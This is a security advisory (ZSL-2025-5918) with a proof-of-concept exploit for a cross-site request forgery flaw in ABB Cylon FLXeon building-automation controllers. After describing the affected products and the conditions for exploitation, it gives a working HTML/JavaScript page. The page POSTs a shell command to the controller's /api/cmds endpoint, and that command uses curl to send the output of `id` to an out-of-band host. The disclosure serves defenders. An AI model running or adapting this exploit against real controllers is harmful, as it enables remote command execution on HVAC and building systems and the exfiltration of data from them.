ABB Cylon FLXeon 9.3.4 Limited Cross-Site Request Forgery (RCE)

🗓️ 11 Feb 2025 00:00:00Reported by Gjoko KrsticType
zeroscience🔗 www.zeroscience.mk👁 229 Views
ABB Cylon FLXeon 9.3.4 has limited CSRF vulnerability, exploitable under specific conditions only.
<!DOCTYPE html>
<html lang="en">
<!--


ABB Cylon FLXeon 9.3.4 Limited Cross-Site Request Forgery (RCE)


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: A CSRF vulnerability has been identified in the ABB Cylon FLXeon series. However,
exploitation is limited to specific conditions due to the server's CORS configuration
(Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true). The
vulnerability can only be exploited under the following scenarios:
       Same Domain: The attacker must host the malicious page on the same domain as the
       target server.
       Man-in-the-Middle (MitM): The attacker can intercept and modify traffic between
       the user and the server (e.g., on an unsecured network).
       Local Area Network (LAN) Access: The attacker must have access to the same network
       as the target server.
       Subdomains: The attacker can host the malicious page on a subdomain if the server
       allows it.
       Misconfigured CORS: The server’s CORS policy is misconfigured to allow certain
       origins or headers.
       Reflected XSS: The attacker can exploit a reflected XSS vulnerability to execute
       JavaScript in the context of the target origin.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5918
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5918.php


21.04.2024




                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░


-->
<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
<title>ABB Cylon FLXeon CSRF Ultra Exploit</title>
</head>
<body>
<button id="thricer">Exploit!</button>
<script>
        function eXploit() {
            const xhr = new XMLHttpRequest();
            xhr.open('POST', 'https://7.3.3.1/api/cmds', true);
            xhr.setRequestHeader('Content-Type', 'application/json');
            xhr.setRequestHeader('Accept', 'application/json, text/plain, */*');

            //xhr.withCredentials = true (only if Access-Control-Allow-Credentials: true)

            xhr.onreadystatechange = function () {
                if (xhr.readyState === 4) {
                    if (xhr.status === 200) {
                        alert('Request succeeded! Response: ' + xhr.responseText);
                    } else {
                        alert('Request failed! Status: ' + xhr.status);
                    }
                }
            };

            const payload = JSON.stringify({ cmd: 'curl -k -U "`id`" https://oob.zeroscience.mk' });
            xhr.send(payload);
        }

        document.getElementById('thricer').addEventListener('click', eXploit);
    </script>
</body>
</html>
11 Feb 2025 00:00Current
5.9Medium risk
Vulners AI Score5.9